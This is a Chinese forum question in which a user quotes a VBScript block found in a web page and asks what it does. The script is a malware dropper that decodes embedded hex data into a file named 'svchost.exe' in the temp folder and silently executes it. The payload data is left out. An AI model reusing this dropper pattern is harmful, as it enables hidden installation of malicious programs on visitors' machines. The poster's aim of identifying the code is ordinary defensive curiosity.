<SCRIPT Language=VBScript>
DropFileName = "svchost.exe";
WriteData = "";
Set FSO = CreateObject("Scripting.FileSystemObject");
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName;
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True);
For i = 1 To Len(WriteData) Step 2;
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)));
Next
FileObj.Close;
End If;
Set WSHshell = CreateObject("WScript.Shell");
WSHshell.Run DropPath, 0;
</SCRIPT>
WriteData里面数据太长太大,复制不上来
有哪位大神知道这个脚本是干神么的吗?
- 写回答
- 好问题 0 提建议
- 追加酬金
- 关注问题
- 邀请回答
-
3条回答 默认 最新
悬赏问题
- ¥15 微信会员卡等级和折扣规则
- ¥15 微信公众平台自制会员卡可以通过收款码收款码收款进行自动积分吗
- ¥15 随身WiFi网络灯亮但是没有网络,如何解决?
- ¥15 gdf格式的脑电数据如何处理matlab
- ¥20 重新写的代码替换了之后运行hbuliderx就这样了
- ¥100 监控抖音用户作品更新可以微信公众号提醒
- ¥15 UE5 如何可以不渲染HDRIBackdrop背景
- ¥70 2048小游戏毕设项目
- ¥20 mysql架构,按照姓名分表
- ¥15 MATLAB实现区间[a,b]上的Gauss-Legendre积分